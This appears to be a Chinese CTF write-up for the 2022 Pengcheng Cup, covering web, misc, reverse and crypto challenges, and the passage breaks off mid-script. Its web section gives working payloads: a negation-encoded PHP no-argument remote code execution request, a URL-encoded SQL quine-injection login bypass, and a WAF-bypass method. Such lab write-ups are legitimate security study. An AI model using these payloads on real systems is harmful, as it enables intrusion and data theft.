鹏程杯wp

admin 2022年7月4日13:29:15CTF专场评论134 views23948字阅读79分49秒阅读模式

本文来自“白帽子社区知识星球

作者:WHT战队

鹏程杯wp


白帽子社区知识星球

加入星球,共同进步

WHT战队招新:


  • WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。

  • 有半年以上CTF竞赛经验的。

  • 包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。

  • 加分项:有一年以上CTF竞赛经验的各方向CTFer。


    有意向的师傅请扫描二维码联系我们

鹏程杯wp


01

Web

简单php


源码如下

<?phpshow_source(__FILE__);$code = $_GET['code'];if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|'|"|`| |,|.|-|+|=|/|\|<|>|$|?|^|&||/is',$code)){die(' Hello');}else if(';' === preg_replace('/[^s()]+?((?R)?)/', '', $code)){@eval($code);}?>


禁用了可见字符,然后第二层是典型的无参rce

可以取反绕过,双数组,最后再无参rce

提交code参数[passthru][0]([end][0]([getallheaders][0]()));

添加http头,即可执行命令


GET/?code=[~%8F%9E%8C%8C%8B%97%8D%8A][!%ff]([~%9A%91%9B][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]()));HTTP/1.1Host: 192.168.1.111:8220User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closer0: cat /ffffflaggg

鹏程杯wp



can_u_login


源码如下

<?phperror_reporting(0);highlight_file(__FILE__);$con= mysqli_connect("localhost","root","root","www");functionwaf($sql) {if (preg_match("/infor|sys|sql|thread|case|if|like|left|right|mid|cmp|sub|locate|position|match|find|field|sleep|repeat|lock|bench|process|<|>|=|xor|and|&&|\\/i", $sql)) {die("hacker");}}if(isset($_GET['password'])) {$password = $_GET['password'];waf($password);$sql = "SELECT password FROM users WHERE username='admin' and password='$password'";$user_result = mysqli_query($con,$sql);$row = mysqli_fetch_array($user_result);if ($row['password'] === $password) {include "/flag.txt";} else {echo "password error";}}

关键在 $row['password'] === $password

这里用到了SQL注入中的Quine注入

参考https://www.anquanke.com/post/id/253570

payload如下

'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

url编码后提交即可登录绕过


GET/?password=%27%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%27%22%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%22%25%22%2c%30%78%32%32%2c%30%78%32%37%29%2c%30%78%32%35%2c%22%25%22%29%23%27%2c%30%78%32%32%2c%30%78%32%37%29%2c%30%78%32%35%2c%27%22%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%22%25%22%2c%30%78%32%32%2c%30%78%32%37%29%2c%30%78%32%35%2c%22%25%22%29%23%27%29%23HTTP/1.1Host: 192.168.1.112User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1


鹏程杯wp



简单包含


题目有waf,但是仅对正常传数据的x-www-form-urlencoded做了检查,在传文件的同时携带post数据,则可绕过waf

鹏程杯wp


鹏程杯wp

之后采取伪协议读取flag.php即可


easygo 

根据提供的附件,go.mod,在github上找到源码


鹏程杯wp

鹏程杯wp


存在postagesql的注入,注入即可


鹏程杯wp


02

Misc

Misc_Water

下载附件,发现是一张图片和一个压缩包。而压缩包有密码,推测要从图片里找出密码。

观察图片,发现文件最后有个png图片,分离出来后,没什么用。


鹏程杯wp



再次观察原始图片,发现在文件中间有jpg图片的影子


鹏程杯wp


原来是把十六进制给反写了。将文件内容提取出来。再反写,得到一张jpg图片


鹏程杯wp


根据题目“water”怀疑是盲水印。使用软件查看,得到密码:


鹏程杯wp


解压题目中的压缩包,又得到一张图片,打开后,什么都看不到


鹏程杯wp


怀疑是高度和宽度有问题。写脚本进行爆破

import zlibimport struct#读文件file ='/Users/sunwei/Downloads/Misc_water/show/111.png'fr = open(file,'rb').read()data = bytearray(fr[12:29])crc32key = eval(str(fr[29:33]).replace('\x','').replace("b'",'0x').replace("'",''))n = 4095 #理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了for w in range(n):#高和宽一起爆破    width = bytearray(struct.pack('>i', w))#q为8字节,i为4字节,h为2字节    for h in range(n):        height = bytearray(struct.pack('>i', h))        for x in range(4):            data[x+4] = width[x]            data[x+8] = height[x]            #print(data)        crc32result = zlib.crc32(data)        if crc32result == crc32key:            print(width,height)            #写文件            newpic = bytearray(fr)            for x in range(4):                newpic[x+16] = width[x]                newpic[x+20] = height[x]            fw = open(file+'.png','wb')#保存副本            fw.write(newpic)            fw.close

得到高度为733,宽度为186。修改图片后得到flag







what_is_log 

下载附件,看提示,使用sysdig查看。为了能更晰显示,使用csysdig查看

csysdig -r flag2.scap

按F4,筛选出mysql


鹏程杯wp


选择最后一个"mysql -uroot -p"


鹏程杯wp


使用F5或按下面的“Echo”


鹏程杯wp


往下滚动,就能看到输入的密码:

鹏程杯wp

用PCL{}进行包裹,即是flag



简单取证


┌──(a㉿kali)-[~/桌面/volatility-master]└─$ python vol.py -f file.raw imageinfo                                                 Volatility Foundation Volatility Framework 2.6.1INFO    : volatility.debug    : Determining profile based on KDBG search...          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)                     AS Layer2 : FileAddressSpace (/home/a/桌面/volatility-master/file.raw)                      PAE type : PAE                           DTB : 0xb37000L                          KDBG : 0x80546ae0L          Number of Processors : 1     Image Type (Service Pack) : 3                KPCR for CPU 0 : 0xffdff000L             KUSER_SHARED_DATA : 0xffdf0000L           Image date and time : 2022-06-20 13:00:12 UTC+0000     Image local date and time : 2022-06-20 21:00:12 +0800
┌──(a㉿kali)-[~/桌面/volatility-master]└─$ python vol.py -f file.raw imageinfo Volatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86) AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/a/桌面/volatility-master/file.raw) PAE type : PAE DTB : 0xb37000L KDBG : 0x80546ae0L Number of Processors : 1 Image Type (Service Pack) : 3 KPCR for CPU 0 : 0xffdff000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2022-06-20 13:00:12 UTC+0000 Image local date and time : 2022-06-20 21:00:12 +0800 ┌──(a㉿kali)-[~/桌面/volatility-master]└─$ python vol.py -f file.raw --profile=WinXPSP2x86 filescan | grep 'secret' Volatility Foundation Volatility Framework 2.6.10x000000000207e3d8 1 0 RW-rw- DeviceHarddiskVolume1Documents and SettingsAdministratorRecentsecret.jpg (3).lnk0x0000000002325028 1 0 R--r-- DeviceHarddiskVolume1Documents and SettingsAdministrator桌面secret.jpg ┌──(a㉿kali)-[~/桌面/volatility-master]└─$ python vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -Q 0x2325028 --dump-dir=./Volatility Foundation Volatility Framework 2.6.1DataSectionObject 0x02325028 None DeviceHarddiskVolume1Documents and SettingsAdministrator桌面secret.jpg


得到了secret.jpg

但dump下来的文件为base64加密后的倒序的压缩包

#python3from binascii import *import base64import stringimport struct
def BASE64(cipher,string1): string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" return (base64.b64decode(cipher.translate(str.maketrans(string1,string2))))f = open('file.txt','r')cipher = f.read()print(cipher)f.close()string1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"data = BASE64(cipher,string1)datas = [i for i in data][::-1]ff = open('file.zip','wb')for x in datas: a = struct.pack('B', x) ff.write(a)ff.close()


解密得到压缩包,但要密码

┌──(a㉿kali)-[~/桌面/volatility-master]└─$ python vol.py -f file.raw --profile=WinXPSP2x86 cmdscan                          Volatility Foundation Volatility Framework 2.6.1**************************************************CommandProcess: csrss.exe Pid: 620CommandHistory: 0x556bb8 Application: cmd.exe Flags: Allocated, ResetCommandCount: 1 LastAdded: 0 LastDisplayed: 0FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x328Cmd #0 @ 0x35baa90: echo password = 62b041223bb9a**************************************************CommandProcess: csrss.exe Pid: 620CommandHistory: 0x35e9e60 Application: DumpIt.exe Flags: AllocatedCommandCount: 0 LastAdded: -1 LastDisplayed: -1FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x568
得到解压密码62b041223bb9a解压后得到flag.txt,发现行数不等于350*350,用脚本检验发现有缺失,感觉像二维码,有坐标的为白色块,没有的为黑色块,用下面脚本得到二维码from PIL import Imagef = open('flag.txt')lines = f.read()f.close()lines = lines.split('n')dd = []for i in range(350): d=[] for j in range(350): d.append(1) dd.append(d)for k in range(len(lines)): l = lines[k].split(' ') x = eval(l[0]) y = eval(l[1]) dd[x][y] = 0 #print(dd[x][y])
image = Image.new('RGB',(350,350))for i in range(350): for j in range(350): if dd[i][j] == 1: image.putpixel((i,j),(0,0,0)) else: image.putpixel((i,j),(255,255,255))image.save('1.png')


扫码得到flag{a6b93e36-f097-11ec-a9b2-5254002d2b31}

换为PCL{}即可


03

Re

baby_re

解压,有三个dex,用jeb打开classes3.dex

看到关键代码

package com.example.createso;
import android.os.Bundle;import android.view.View;import android.widget.Toast;import androidx.appcompat.app.AppCompatActivity;import com.example.createso.databinding.ActivityMainBinding;import java.util.Arrays;import java.util.LinkedHashMap;import java.util.Map;import kotlin.Metadata;import kotlin.jvm.internal.DefaultConstructorMarker;import kotlin.jvm.internal.Intrinsics;
@Metadata(d1={"u0000(nu0002u0018u0002nu0002u0018u0002nu0002bu0002nu0002u0018u0002nu0000nu0002u0010u0015nu0002bu0002nu0002u0010u0002nu0000nu0002u0018u0002nu0002bu0002u0018u0000 f2u00020u0001:u0001fBu0005¢u0006u0002u0010u0002Ju0011u0010u0005u001Au00020u00062u0006u0010u0007u001Au00020u0006Hu0086 Ju0012u0010bu001Au00020t2bu0010nu001Au0004u0018u00010u000BHu0015Ru000Eu0010u0003u001Au00020u0004Xu0082.¢u0006u0002nu0000¨u0006r"}, d2={"Lcom/example/createso/MainActivity;", "Landroidx/appcompat/app/AppCompatActivity;", "()V", "binding", "Lcom/example/createso/databinding/ActivityMainBinding;", "baby_xor", "", "x", "onCreate", "", "savedInstanceState", "Landroid/os/Bundle;", "Companion", "app_debug"}, k=1, mv={1, 6, 0}, xi=0x30) public final class MainActivity extends AppCompatActivity { @Metadata(d1={"u0000fnu0002u0018u0002nu0002u0010u0000nu0002bu0002bu0086u0003u0018u00002u00020u0001Bu0007bu0002¢u0006u0002u0010u0002¨u0006u0003"}, d2={"Lcom/example/createso/MainActivity$Companion;", "", "()V", "app_debug"}, k=1, mv={1, 6, 0}, xi=0x30) public final class Companion { public Companion(DefaultConstructorMarker arg1) { this(); }
private Companion() { super(); } }
public static final Companion Companion; public Map _$_findViewCache; private ActivityMainBinding binding;
public static void $r8$lambda$dncIOGhLA9zyL7XDrffGu6-OgvE(MainActivity arg0, int[] arg1, View arg2) { MainActivity.onCreate$lambda-0(arg0, arg1, arg2); }
static { MainActivity.Companion = new Companion(null); System.loadLibrary("createso"); }
public MainActivity() { this._$_findViewCache = new LinkedHashMap(); super(); }
public void _$_clearFindViewByIdCache() { this._$_findViewCache.clear(); }
public View _$_findCachedViewById(int arg4) { View v1_1; Map v0 = this._$_findViewCache; Object v1 = v0.get(Integer.valueOf(arg4)); if(v1 == null) { v1_1 = this.findViewById(arg4); if(v1_1 != null) { v0.put(Integer.valueOf(arg4), v1_1); } else { v1_1 = null; } }
return v1_1; }
public final native int[] baby_xor(int[] arg1) { }
protected void onCreate(Bundle arg4) { super.onCreate(arg4); ActivityMainBinding v0 = ActivityMainBinding.inflate(this.getLayoutInflater()); Intrinsics.checkNotNullExpressionValue(v0, "inflate(layoutInflater)"); this.binding = v0; if(v0 == null) { Intrinsics.throwUninitializedPropertyAccessException("binding"); v0 = null; }
this.setContentView(v0.getRoot()); this._$_findCachedViewById(R$id.btn).setOnClickListener(new MainActivity$$ExternalSyntheticLambda0(this, new int[]{0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24})); }
private static final void onCreate$lambda-0(MainActivity arg5, int[] arg6, View arg7) { Intrinsics.checkNotNullParameter(arg5, "this$0"); Intrinsics.checkNotNullParameter(arg6, "$c"); int[] v1 = arg5._$_findCachedViewById(R$id.input).getText().toString().chars().toArray(); Intrinsics.checkNotNullExpressionValue(v1, "flag.toArray()"); if(Arrays.equals(arg5.baby_xor(v1), arg6)) { Toast.makeText(arg5, "Success", 1).show(); } else { Toast.makeText(arg5, "Failed", 0).show(); } }}
得到cipher = [0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24]有一个baby_xor,用ida打开libcreateso.so__int64 __fastcall Java_com_example_createso_MainActivity_baby_1xor(__int64 a1, __int64 a2, __int64 a3){ int i; // [rsp+14h] [rbp-2Ch] __int64 v5; // [rsp+18h] [rbp-28h] unsigned int v6; // [rsp+24h] [rbp-1Ch]
v6 = _JNIEnv::GetArrayLength(a1, a3); v5 = _JNIEnv::GetIntArrayElements(a1, a3, 0LL); for ( i = 0; i < (int)v6; ++i ) *(_DWORD *)(v5 + 4LL * i) ^= key[i % 4]; _JNIEnv::SetIntArrayRegion(a1, a3, 0LL, v6, v5); return a3;}看到key dd 56h, 57h, 58h, 59h还有一个_DWORD *hide_key(void){ _DWORD *result; // rax
result = key; key[0] ^= 0x47u; key[1] ^= 0x32u; key[2] ^= 0x11u; key[3] ^= 0x12u; return result;}

将key先进行异或再与输入进行异或

得到解题脚本

c = [0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24]key = [0x56^0x47,0x57^0x32,0x58^0x11,0x59^0x12]f = ''for i in range(len(c)):    f += chr(c[i]^key[i%4])print(f)

#flag{6700280a84487e46f76f2f60ce4ae70b}

#flag换成PCL即可


rota


base64编码表

XiIzDuAoGlaK6JcjM3g/9YQmHBOsxn1hLZ4w7Tt0PV5pNqUFC+rE2dSfyvWe8kRb=

爆破密码

char p_base_table[] = "XiIzDuAoGlaK6JcjM3g/9YQmHBOsxn1hLZ4w7Tt0PV5pNqUFC+rE2dSfyvWe8kRb=";
char key[] ={ 0x33, 0x34, 0x2C, 0x36, 0x1D, 0x12, 0x1E, 0x0C, 0x1A, 0x3C, 0x29, 0x10, 0x20, 0x14, 0x3D, 0x3B, 0x19, 0x08, 0x0E, 0x1F, 0x30, 0x05, 0x38, 0x03, 0x11, 0x1B, 0x17, 0x21, 0x2E, 0x04, 0x18, 0x23, 0x2B, 0x02, 0x27, 0x37, 0x1C, 0x24, 0x39, 0x3F, 0x35, 0x2D, 0x26, 0x13, 0x2A, 0x0A, 0x00, 0x07, 0x3E, 0x01, 0x28, 0x2F, 0x32, 0x22, 0x0D, 0x06, 0x25, 0x3A, 0x09, 0x0F, 0x16, 0x0B, 0x15, 0x31, 0x0C, 0x2C, 0x0D, 0x21, 0x22, 0x09, 0x02, 0x39, 0x31, 0x17, 0x1A, 0x33, 0x06, 0x24, 0x10, 0x04, 0x1B, 0x0B, 0x34, 0x12, 0x38, 0x27, 0x0E, 0x20, 0x2B, 0x2E, 0x00, 0x13, 0x3E, 0x3A, 0x05, 0x1E, 0x36, 0x08, 0x32, 0x29, 0x19, 0x23, 0x3D, 0x3B, 0x3C, 0x3F, 0x37, 0x30, 0x18, 0x16, 0x35, 0x25, 0x0A, 0x2D, 0x28, 0x26, 0x15, 0x11, 0x07, 0x1D, 0x2A, 0x0F, 0x1F, 0x14, 0x01, 0x1C, 0x03, 0x2F, 0x13, 0x0D, 0x35, 0x31, 0x07, 0x11, 0x1B, 0x23, 0x0B, 0x0C, 0x10, 0x25, 0x2B, 0x21, 0x33, 0x18, 0x27, 0x29, 0x02, 0x2F, 0x28, 0x30, 0x0E, 0x19, 0x3C, 0x08, 0x34, 0x20, 0x3D, 0x2E, 0x05, 0x15, 0x2C, 0x1C, 0x36, 0x22, 0x1E, 0x24, 0x38, 0x0A, 0x3F, 0x1A, 0x04, 0x26, 0x16, 0x2A, 0x3A, 0x1F, 0x2D, 0x32, 0x06, 0x37, 0x03, 0x3B, 0x00, 0x17, 0x1D, 0x12, 0x09, 0x01, 0x3E, 0x39, 0x0F, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
auto a = GetModuleHandleA("rota_1.exe");compute func = (compute)((long long)a + 0x1E10);
char input[] = "6/GEJz9SXGXCXXXXXXXXXiPIXXXXXXXXXXXXXXXXXXX=";char passwd[] = "ksPhS/34MXifj+Ibtjud2Tikj5HkA7iTpbaNELBebOaIm";
char result[256] = { 0 };
for (int i = 0; i < 45; ++i){ for (int j = 0; j <= sizeof(p_base_table); ++j) { memcpy(input, result, i); input[i] = p_base_table[j]; char out[256] = { 0 }; char temp_key[sizeof(key)] = { 0 }; memcpy(temp_key, key, sizeof(key)); func(temp_key, input, out); if (0 == memcmp(passwd, out, i + 1)) { result[i] = p_base_table[j]; break; } }}
printf("%s", result);

得到cAJ7BzX+6zHrHwnTc/i7Bz6f6t6EBQDvc/xfHt9d6S9


base64解码

得到flag:8cdd01062b7e90dd372c3ea9977be53e



maze

六边形迷宫,只有三个方向,r,l,t

迷宫地图找不到,想搜索路径,用pwntools写了个交互,搜索到路径

from pwn import *cmds = ['r','l','t']
def f(cmd_list): n=0 try: p = process('./maze') p.recvuntil('> ') for i in cmd_list: p.sendline(i) rev = p.recvuntil(' ') n += 1 print(rev) p.close() return n except: return ndef ff(cmd_list,f1): cmds = ['r','l','t','x'] for i in cmds: c = [k for k in cmd_list] c.append(i) #print(c) #print(cmd_list) if f(c) == len(c): c = ff(c,f1) f1.write(str(c)) f1.write('n') print(c) return cif __name__ == "__main__": f1= open('1.txt','w') cmd_list=[] ff(cmd_list,f1) f1.close()

b'> 'b'> 'b'> 'b'> 'b'> '[*] Process './maze' stopped with exit code 0 (pid 7379)b'flag '['r', 'r', 'r', 'r', 't', 'l', 't', 'l', 't', 'l', 'l', 'l', 'l', 't', 'l', 'l', 't', 'r', 't', 'r', 'r', 'r', 'x'][+] Starting local process './maze': pid 7381b'> 'b'> 'b'> 'b'> 'b'> '


搜索得到正确路径

['r', 'r', 'r', 'r', 't', 'l', 't', 'l', 't', 'l', 'l', 'l', 'l', 't', 'l', 'l', 't', 'r', 't', 'r', 'r', 'r', 'x']

x为我自己加的末尾标志

连起来取md5加PCL{}即可

PCL{988b0f23719099efcbd66586a168bab9}


04

Crypto

easy_rsa

## easy_RSA


### 第一部分

查看代码,发现是e、phi不互素,套用脚本直接解出

import gmpy2from Crypto.Util.number import *

 

 

c=0x27455f081e4858790c6503580dad3302ae359c9fb46dc601eee98f05142128404e95377324720adbbdebf428549008bcd1b670f6749592a171b30316ab707004b9999f3b80de32843afdfd30505b1f4166a03cee9fc48902b74b6e850cfd268e6917c5d84e64f7e7cd0e4a30bfe5903fb5d821d27fdc817d9c4536a8e7aea55af266abcae857a8ffff2f741901baba1b44091a137c69c471c123ab0b80e250e055959c468e6e37c005105ecd7c8b48c659024e5e251df3eeff5da7b3d561cd98150da3575a16bee5f2524d2795fd4879487018345c1e96efc085ed45fb5f02c027aee5bca3aad0eb3e23376c0cd18b02fb05a1ff8fb1af0a3ce4bb671599894ep=0xbb602e402b68a5cfcc5cfcc63cc82e362e98cb7043817e3421599a4bb8755777c362813742852dad4fec7ec33f1faec04926f0c253f56ab4c4dde6d71627fbc9ef42425b70e5ecd55314e744aa66653103b7d1ba86d1e0e21920a0bfe7d598bd09c3c377a3268928b953005450857c6cfea5bfdd7c16305baed0f0a31ad688bdq=0xbb8d1ea24a3462ae6ec28e79f96a95770d726144afc95ffffa19c7c3a3786a6acc3309820ba7b1a28a4f111082e69e558b27405613e115139b38e799c723ab7fdd7be14b330b118ae60e3b44483a4c94a556e810ab94bbb102286d0100d7c20e7494e20e0c1030e016603bd2a06c1f6e92998ab68e2d420faf47f3ee687fb6d1e=0x292n = p*qphi = (p-1)*(q-1)t = gmpy2.gcd(e, phi)d = gmpy2.invert(e // t, phi) m = pow(c, d, n)print(m)msg = gmpy2.iroot(m, t)print(msg)if msg[1]:    print(long_to_bytes(msg[0])


### 第二部分

查看代码,发现是已知p的高位。套用sagemeth脚本,解出p和q

def phase3(high_p, n):    R.= PolynomialRing(Zmod(n), implementation='NTL')    p = high_p + x    x0 = p.small_roots(X = 2^60, beta = 0.1)[0]     P = int(p(x0))    Q = n // P    print(P)    print(Q)    assert n == P*Q n=0x841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65p4=0xa9cb9e2eb43f17ad6734356db18ad744600d0c19449fc62b25db7291f24c480217d60a7f87252d890b97a38cc6943740ac344233446eea4084c1ba7ea5b7cf2399d42650b2a3f0302bab81295abfd7cacf248de62d3c63482c5ea8ab6b25cdbebc83eae855c1d07a8cf0408c2b721e43c4ac53262bf9aaf7a000000000000000e=0x10001c=0x3a80caebcee814e74a9d3d81b08b1130bed6edde2c0161799e1116ab837424fbc1a234b9765edfc47a9d634e1868105d4458c9b9a0d399b870adbaa2337ac62940ade08daa8a7492cdedf854d4d3a05705db3651211a1ec623a10bd60596e891ccc7b9364fbf2e306404aa2392f5598694dec0b8f7efc66e94e3f8a6f372d833941a2235ebf2fc77c163abcac274836380045b63cc9904d9b13c0935040eda6462b99dd01e8230fdfe2871124306e7bca5b356d16796351db37ec4e574137c926a4e07a2bfe76b9cbbfa4b5b010d678804df3e2f23b4ec42b8c8433fa4811bf1dc231855bea4225683529fad54a9b539fe824931b4fdafab67034e57338217f phase3(p4, n)


再套用脚本,解出m2

import gmpy2from Crypto.Util.number import * e = 65537n=0x841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65p=119234372387564173916926418564504307771905987823894721284221707768770334474240277144999791051191061404002537779694672314673997030282474914206610847346023297970473719280866108677835517943804329212840618914863288766846702119011361533150365876285203805100986025166317939702179911918098037294325448226481818486521q=139862779248852876780236838155351435339041528333485708458669785004897778564234874018135441729896017420539905517964705602836874055417791439544162777504181482765029478481701166935117795286988835104239238153206137155845327225155932803904032184502243017645538314995056944419185855910939481260886933456330514972109print(q*p==n)c =0x3a80caebcee814e74a9d3d81b08b1130bed6edde2c0161799e1116ab837424fbc1a234b9765edfc47a9d634e1868105d4458c9b9a0d399b870adbaa2337ac62940ade08daa8a7492cdedf854d4d3a05705db3651211a1ec623a10bd60596e891ccc7b9364fbf2e306404aa2392f5598694dec0b8f7efc66e94e3f8a6f372d833941a2235ebf2fc77c163abcac274836380045b63cc9904d9b13c0935040eda6462b99dd01e8230fdfe2871124306e7bca5b356d16796351db37ec4e574137c926a4e07a2bfe76b9cbbfa4b5b010d678804df3e2f23b4ec42b8c8433fa4811bf1dc231855bea4225683529fad54a9b539fe824931b4fdafab67034e57338217fphi = (p-1)*(q-1)d = gmpy2.invert(e,phi)print(gmpy2.gcd(e, phi))m2 = pow(c,d,n)print(hex(m2))print(long_to_bytes(m2))


### 第三部分

查看代码。发现是n、c不互素。套用脚本,解出m3

import gmpy2import libnum n = 0xc2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069c = 0x1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0dfe = 0x10001p = gmpy2.gcd(n, c)q = n // passert n == p * qphi_n=(p-1)*(q-1)d=gmpy2.invert(e,phi_n)M=pow(c,d,n)#M= 2021 * 1001 * p*mm=M//(2022 * 1011 * p)print(libnum.n2s(int(m)))


三个部分和起来就是flag


baby_rsa

已知pow(2,e,n),就可以爆破出n:

先求2**e位数,得出是1050位。

再求出pow(2,e,n)的位数,是1039位。

而n是p*q。倍数小于等于1040位。我们可以爆破出n。

# 通过(2**e)mod(n)=A,可以得到2**e = A+kn,已知e,A。我们通过位数知道k的大概范围,而k又为整数,我们就可爆破k,再求出n。


n_l = []k_l = []t = 2**1049tmp  = t-sfor k in range(1,2**11):    if tmp%k==0:        k_l.append(k)        print(k_l)for i in k_l:    tmp_n = (tmp//i)    print(tmp_n.bit_length())    n_l.append(tmp_n)print(n_l)

得出k的取值范围有:1, 3, 5, 9, 15, 23, 45, 69, 115, 207, 345, 1035

我们再通过位数,得出n的值为:

5823713380800241798127161208605473167667967902620702068684472024119185247468416314089247879281733463161248890572390983305415645926810810670115987090805775496828975940219063783825457069902831333895859965086768216313079359826260701972093534555185595188238549423953860497190971290229918600826572984225793661171633741

用factordb.com分解,得出p、q的值分别为:

p = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231q =  34211

我们再写脚本,得出m混淆后的值:

import gmpy2

p = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231q = 34211n=5823713380800241798127161208605473167667967902620702068684472024119185247468416314089247879281733463161248890572390983305415645926810810670115987090805775496828975940219063783825457069902831333895859965086768216313079359826260701972093534555185595188238549423953860497190971290229918600826572984225793661171633741e = 1049c = 3303523331971096467930886326777599963627226774247658707743111351666869650815726173155008595010291772118253071226982001526457616278548388482820628617705073304972902604395335278436888382882457685710065067829657299760804647364231959804889954665450340608878490911738748836150745677968305248021749608323124958372559270phi = 